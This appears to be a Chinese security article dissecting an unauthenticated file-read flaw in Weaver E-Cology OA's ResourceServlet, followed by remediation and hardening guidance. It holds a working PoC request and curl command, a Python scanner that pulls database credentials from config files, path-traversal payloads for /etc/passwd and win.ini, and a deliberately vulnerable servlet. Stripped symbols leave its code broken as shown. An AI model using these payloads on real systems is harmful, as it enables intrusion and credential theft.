1. 项目概述一次对泛微OA E-Cology ResourceServlet接口的深度安全审计最近在梳理一些企业级应用的历史漏洞时泛微OA E-Cology的ResourceServlet接口任意文件读取漏洞网上常提到的CVE-2026-27654引起了我的注意。这个漏洞虽然原理不复杂但影响面广且其利用方式非常典型是理解Java Web应用路径遍历和敏感信息泄露风险的绝佳案例。很多企业尤其是政企、金融、大型制造业内部办公流程重度依赖泛微OA一旦这个漏洞被利用攻击者可以直接读取服务器上的配置文件、数据库连接信息甚至源码后果不堪设想。我花了些时间结合公开的POC和自建环境对这个漏洞进行了完整的复现和分析。这篇文章我会从一个安全研究者的角度带你彻底拆解这个漏洞的成因、影响、利用方式并分享在实战渗透测试中如何高效地发现和验证此类问题以及最重要的——企业该如何修复和防御。无论你是安全工程师、渗透测试人员还是负责运维泛微OA系统的管理员这篇文章都能给你提供直接的参考。2. 漏洞原理深度剖析为什么ResourceServlet会“失守”2.1 ResourceServlet的设计初衷与功能定位要理解漏洞首先得知道这个ResourceServlet是干什么的。在Spring MVC框架特别是早期版本或基于其思想的自定义实现中ResourceServlet这类组件通常被设计用于处理静态资源的请求。它的核心职责是根据客户端请求的路径参数定位到Web应用目录WEB-INF目录之外或类路径Classpath下的静态文件如.js,.css, 图片等并将其内容读取并返回给客户端。在理想的安全模型下这类Servlet应该严格限制资源访问的范围比如只允许访问/static/、/resources/这类公开目录。开发者本意可能是为了方便某些特定场景下的资源加载但问题就出在这个“方便”如果没有加上严格的访问控制就变成了危险的“任意”。2.2 漏洞触发的核心未过滤的路径参数我们来看漏洞的核心POC请求GET /weaver/org.springframework.web.servlet.ResourceServlet?resource/WEB-INF/prop/weaver.properties HTTP/1.1关键点在于resource这个请求参数。漏洞的成因可以归结为以下几点路径遍历未校验Servlet在接收到resource参数后直接将其拼接在某个基础路径如Web应用的根目录后形成最终的文件系统路径。它没有对参数值进行有效的校验比如检查是否包含../上一级目录或WEB-INF、META-INF等敏感目录。对WEB-INF目录的特殊性认识不足在Java Web应用规范中WEB-INF目录是一个受保护的目录其下的内容除web.xml和lib、classes目录下的资源外不能通过客户端的直接请求访问。这是容器如Tomcat提供的一层安全保护。然而ResourceServlet作为应用自身的一个Servlet它拥有直接通过ServletContext.getResourceAsStream()等方法读取WEB-INF目录下任何文件的能力。当攻击者通过参数指定了/WEB-INF/下的路径时Servlet便绕过了容器的保护直接读取并返回了文件内容。权限控制缺失该接口通常没有与OA系统的会话认证机制绑定。也就是说攻击者无需登录发送一个HTTP请求即可触发漏洞。这使得漏洞的危险等级从“授权后”提升到了“未授权”极大地降低了利用门槛。简单来说这个漏洞就像是仓库管理员ResourceServlet被设计成可以根据提货单resource参数去仓库里取货。但提货单上没盖“禁止进入危险品仓库WEB-INF”的章管理员也懒得看提货单具体写了啥直接照单全收结果把危险品配置文件给搬出来了。注意这里需要澄清一个常见的误解。网上有些资料会简单地说“Spring的ResourceServlet有漏洞”。实际上更常见的情况是泛微OA的开发人员参考或自定义实现了一个名为org.springframework.web.servlet.ResourceServlet的Servlet类名可能是为了兼容性或历史原因而这样命名但这个实现并未遵循Spring官方的最佳安全实践或者使用的是存在缺陷的旧版本/自定义版本。因此漏洞的根源在于泛微OA自身的代码实现而非直接等同于Spring框架的通用漏洞。2.3 影响范围与潜在危害这个漏洞的影响是立竿见影且多层次的敏感配置泄露首当其冲的就是weaver.properties、jdbc.properties等配置文件。这些文件里往往明文存放着数据库连接字符串、用户名和密码。拿到数据库密码攻击者几乎可以掌控整个OA系统的数据。源码泄露通过构造路径可以读取WEB-INF/classes目录下的.class字节码文件。虽然反编译需要额外步骤但对于有经验的黑客来说这等于拿到了系统的“设计图纸”可以从中分析出更多的业务逻辑漏洞、硬编码密钥等。其他敏感文件读取如日志文件、XML配置文件、甚至服务器上的其他文件如果应用有足够权限通过../../../可以遍历到系统其他目录。成为攻击跳板泄露的数据库凭据可能被用来攻击内网其他系统如果数据库可外连或处于同一内网泄露的源码可能暴露其他未公开的API或接口扩大攻击面。3. 漏洞复现与环境搭建实操纸上得来终觉浅绝知此事要躬行。要真正理解漏洞亲手复现一遍是最好的方式。3.1 实验环境准备由于直接测试生产环境是非法且不道德的我们必须搭建一个本地或隔离的测试环境。方案一使用官方安装包推荐用于深入学习获取安装包从泛微官方或授权的合作伙伴处获取对应版本的E-Cology安装包例如E9。请注意这仅用于合法的安全研究和测试。准备基础环境你需要一台Windows Server或Linux服务器安装好Java运行环境JRE/JDK 1.8、数据库如SQL Server或Oracle和Web容器如Tomcat。安装与部署按照官方手册进行安装。这个过程可能比较复杂涉及数据库初始化、配置向导等。但对于理解OA系统的整体架构非常有帮助。方案二使用漏洞靶场环境对于快速复现漏洞使用现成的漏洞靶场或Docker镜像效率更高。你可以在一些开源漏洞靶场项目如Vulhub、vulapps中寻找泛微OA的历史漏洞环境。虽然可能不是100%与最新POC匹配但原理相通足以用于理解。方案三代码级模拟用于原理研究如果你更关注漏洞原理本身可以自己写一个简单的Servlet来模拟有缺陷的ResourceServletWebServlet(/ResourceServlet) public class ResourceServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String resourcePath request.getParameter(resource); if (resourcePath ! null) { // 漏洞点直接使用用户输入拼接路径未做任何过滤 String fullPath getServletContext().getRealPath(/) resourcePath; File file new File(fullPath); if (file.exists() file.isFile()) { Files.copy(file.toPath(), response.getOutputStream()); } } } }将这个Servlet部署到Tomcat你就能在自己的机器上安全地体验路径遍历攻击了。3.2 漏洞验证与利用步骤假设你已经有了一个测试目标例如本地搭建的靶机IP为192.168.1.100。步骤1目标识别使用FOFA、Shodan或鹰图等网络空间测绘引擎进行初步搜索app泛微-OA(e-cology)或者在已知目标上访问其OA登录页面观察特征。步骤2发送POC请求使用浏览器、curl命令或Burp Suite等工具发送攻击请求。 使用curl的命令行示例如下curl -v http://192.168.1.100/weaver/org.springframework.web.servlet.ResourceServlet?resource/WEB-INF/prop/weaver.properties使用Burp Suite的Repeater模块则更加方便可以灵活修改请求、观察响应。步骤3分析响应结果漏洞存在如果响应状态码为200并且返回了weaver.properties文件的内容通常包含jdbc、database等关键词则证明漏洞存在。漏洞不存在如果返回404、403、500错误或者返回了一个错误页面则可能该接口已被修复、路径不对、或版本不匹配。步骤4扩大战果信息收集一旦确认漏洞存在就可以尝试读取其他敏感文件构建一个信息收集的清单/WEB-INF/classes/weaver.properties(另一个常见位置)/WEB-INF/classes/jdbc.properties/WEB-INF/web.xml(应用的部署描述文件包含其他Servlet映射)/WEB-INF/classes/xxx/yyy.class(业务逻辑源码)尝试路径遍历?resource../../../../../../etc/passwd(Linux) 或?resource../../../../../../windows/win.ini(Windows)以测试是否能读取系统文件。实操心得在实际测试中不要只尝试一个POC就下结论。有时路径前缀可能不是/weaver而是/oa、/eclipse等需要结合网站实际部署情况调整。此外使用Burp Suite的Intruder模块加载一个包含常见配置文件和路径遍历Payload的字典进行模糊测试是高效发现此类漏洞的常用手法。4. POC的编写与优化思路网上流传的POC通常只是一个简单的HTTP请求示例。对于一个严谨的安全研究员或渗透测试工具开发者来说一个健壮的POC脚本需要考虑更多。4.1 基础POC脚本示例Pythonimport requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_vulnerability(url): 检查目标URL是否存在ResourceServlet任意文件读取漏洞 # 定义要尝试读取的敏感文件列表 sensitive_files [ /WEB-INF/prop/weaver.properties, /WEB-INF/classes/weaver.properties, /WEB-INF/web.xml, /WEB-INF/classes/jdbc.properties, ] vuln_urls [] for file_path in sensitive_files: target_url url.rstrip(/) /weaver/org.springframework.web.servlet.ResourceServlet params {resource: file_path} try: resp requests.get(target_url, paramsparams, timeout10, verifyFalse) # 判断漏洞存在的启发式规则可根据实际情况调整 if resp.status_code 200: content resp.text # 检查响应内容是否像配置文件 if (jdbc in content or database in content or password in content) and (html not in content.lower()): print(f[] 漏洞存在成功读取: {file_path}) print(f 响应长度: {len(content)}) print(f 前500字符预览:\n{content[:500]}\n) vuln_urls.append((target_url, file_path, content)) elif xml in resp.headers.get(Content-Type, ) and web-app in content: print(f[] 漏洞存在成功读取: {file_path} (Web.xml)) vuln_urls.append((target_url, file_path, content)) else: # 返回200但内容不对可能是默认页面记录以供分析 print(f[?] 可疑响应 (200) 于 {file_path}, 但内容不典型。长度: {len(content)}) elif resp.status_code 404: # 接口不存在 print(f[-] 接口不存在 (404) 于 {file_path}) break # 如果第一个标准路径就404可能整体路径不对 else: print(f[-] 请求 {file_path} 失败状态码: {resp.status_code}) except requests.exceptions.RequestException as e: print(f[!] 请求发生异常: {e}) break return vuln_urls if __name__ __main__: if len(sys.argv) ! 2: print(f用法: python {sys.argv[0]} 目标URL) print(f示例: python {sys.argv[0]} http://oa.target.com) sys.exit(1) target sys.argv[1] print(f[*] 开始检测目标: {target}) results check_vulnerability(target) if results: print(f\n[总结] 共发现 {len(results)} 个可读的敏感文件。) # 可以选择将结果保存到文件 # with open(result.txt, w) as f: ... else: print([-] 未发现明显的漏洞迹象。)4.2 POC优化要点智能路径探测基础的POC假设路径是/weaver/...。优化版可以尝试从首页HTML中提取路径线索或使用一个常见路径字典如/,/oa/,/eclipse/,/weaver/,/ecology/进行爆破。响应指纹识别不能仅凭状态码200判断。需要分析响应内容识别是否是真正的配置文件包含特定关键字还是被重定向到了错误/登录页面。上述脚本中的启发式规则检查jdbc,database关键字同时排除HTML页面就是一个例子。会话处理虽然该漏洞通常是未授权的但有些环境可能配置了粗粒度的IP限制或简单的WAF。POC可以尝试维持一个会话requests.Session()来模拟更真实的浏览器行为。延时与重试加入随机延时和失败重试机制避免请求过快被屏蔽。结果输出与保存将成功读取的文件内容结构化的保存下来如按文件名保存到本地便于后续分析。路径遍历自动化集成一个路径遍历Payload生成器自动尝试读取/etc/passwd,C:\\boot.ini等系统标志性文件以验证最高权限。注意事项在编写和运行此类POC时务必确保你拥有目标的测试授权。未经授权的测试是违法的。此代码仅用于教育目的请在完全可控的实验室环境中运行。5. 漏洞修复与安全加固指南对于企业安全运维人员来说发现漏洞后的修复至关重要。以下是针对此漏洞的修复建议从紧急临时措施到根本解决方案。5.1 紧急临时处置方案如果漏洞正在被利用或需要立即止损可以考虑以下方法WAF/防火墙规则拦截在Web应用防火墙WAF或网络防火墙上添加一条规则拦截包含/weaver/org.springframework.web.servlet.ResourceServlet且resource参数值包含WEB-INF、..两个点等敏感字符的请求。这是一种外围防护能快速阻断已知攻击模式。应用层访问控制如果具备条件可以在OA系统的前置代理如Nginx或应用本身通过Filter添加一个过滤器对访问ResourceServlet的请求进行校验例如检查Session中用户是否已登录或者直接禁用该接口的对外访问。!-- 示例在web.xml中通过security-constraint限制访问需重启-- security-constraint web-resource-collection web-resource-nameRestricted ResourceServlet/web-resource-name url-pattern/weaver/org.springframework.web.servlet.ResourceServlet/url-pattern /web-resource-collection auth-constraint !-- 不给任何角色权限即禁止所有访问 -- role-nameNOBODY/role-name /auth-constraint /security-constraint5.2 根本解决方案升级与代码修复临时措施治标不治本根本解决需要从代码层面入手。官方补丁升级这是最推荐、最安全的方式。联系泛微官方技术支持获取针对该漏洞或相关CVE编号的官方补丁包并立即部署。官方补丁会直接修复ResourceServlet的实现逻辑。自行代码修复如果无法立即升级如果无法立即升级且你有能力修改部署的代码通常需要对WAR包进行反编译/重编译风险高不推荐生产环境使用修复思路如下输入验证与过滤在ResourceServlet处理resource参数的地方加入严格的校验。禁止参数以/WEB-INF/或/META-INF/开头。禁止参数中包含..路径遍历符。使用白名单机制只允许访问特定的、公开的资源目录如/static/,/images/等。规范化路径检查使用java.nio.file.Path.normalize()和toAbsolutePath()等方法对最终路径进行规范化然后检查规范化后的路径是否仍在预期的安全目录内。示例伪代码String resourceParam request.getParameter(resource); // 1. 基础校验 if (resourceParam null || resourceParam.contains(..) || resourceParam.contains(WEB-INF) || resourceParam.contains(META-INF)) { response.sendError(403, Forbidden); return; } // 2. 白名单校验更安全 Path safeBaseDir Paths.get(getServletContext().getRealPath(/safe_resources/)).toAbsolutePath().normalize(); Path requestedPath Paths.get(getServletContext().getRealPath(/), resourceParam).toAbsolutePath().normalize(); if (!requestedPath.startsWith(safeBaseDir)) { response.sendError(403, Forbidden); return; } // 3. 安全地读取文件删除或禁用不必要的Servlet如果OA系统根本不需要ResourceServlet这个功能很多情况下它可能是遗留组件最彻底的方法是在web.xml中注释掉或删除该Servlet的映射配置然后重启应用。5.3 长期安全加固建议最小权限原则运行OA应用的服务器账户如Tomcat的tomcat用户应仅拥有必要的最小文件系统读写权限限制其访问系统关键目录的能力。定期安全评估与漏洞扫描建立制度定期对OA系统进行安全扫描和渗透测试主动发现潜在风险。纵深防御不要依赖单一安全措施。结合网络层的WAF、主机层的HIDS入侵检测系统、应用层的代码安全审计构建多层防御体系。关注官方安全公告订阅泛微官方的安全更新渠道及时获取漏洞信息和补丁通知。6. 漏洞挖掘与防御的延伸思考这个漏洞虽然具体但它反映出的是一类非常普遍的安全问题不安全的直接对象引用IDOR和路径遍历。在挖掘和防御时我们可以有更广阔的视角。6.1 如何挖掘类似漏洞接口枚举使用爬虫如Burp Suite的爬虫功能或目录扫描工具如Dirsearch, Gobuster尽可能多地收集目标系统的接口URL。特别关注那些包含servlet,action,file,resource,download,read,load等关键词的路径。参数分析对找到的接口分析其参数。重点关注那些看起来像是文件路径、文件名、ID的参数如file,path,url,resource,name,id等。模糊测试Fuzzing使用工具如Burp Intruder, ffuf对目标参数进行模糊测试。Payload集应包括路径遍历../../../../etc/passwd,....//....//....//windows/win.ini敏感路径WEB-INF/web.xml,WEB-INF/classes/application.properties,config.json编码绕过对上述Payload进行URL编码、双重编码、UTF-8编码等尝试。逻辑推理如果发现一个接口能读取/static/logo.png尝试修改参数为/static/../WEB-INF/web.xml。关注接口返回的错误信息有时会泄露真实的服务器路径。6.2 开发层面的根本防御对于开发者而言避免此类漏洞需要在编码阶段就植入安全思维永远不要信任用户输入这是安全的第一原则。所有来自客户端浏览器、API调用的参数都必须经过严格的验证和过滤。使用白名单而非黑名单定义允许访问的资源列表或目录拒绝所有不在列表中的请求。黑名单禁止某些关键词很容易被绕过。使用框架提供的安全机制现代框架如Spring提供了安全的资源处理方式。例如使用ResourceHttpRequestHandler来安全地提供静态资源而不是自己写Servlet。进行代码安全审计在代码提交和发布流程中引入静态应用程序安全测试SAST工具自动检测潜在的路径遍历、SQL注入等漏洞。安全培训让开发团队了解常见的Web漏洞OWASP Top 10及其危害在需求评审和设计阶段就考虑安全性。回过头来看泛微OA的这个ResourceServlet漏洞它就像一面镜子照见了在追求功能便捷时忽视安全边界的经典失误。修复一个具体的漏洞或许不难但建立起持续的安全开发与运维体系才是应对层出不穷的安全挑战的根本之道。在实战中遇到这类漏洞清晰的排查思路、严谨的验证流程和有效的修复方案是每个安全从业者都应具备的基本素养。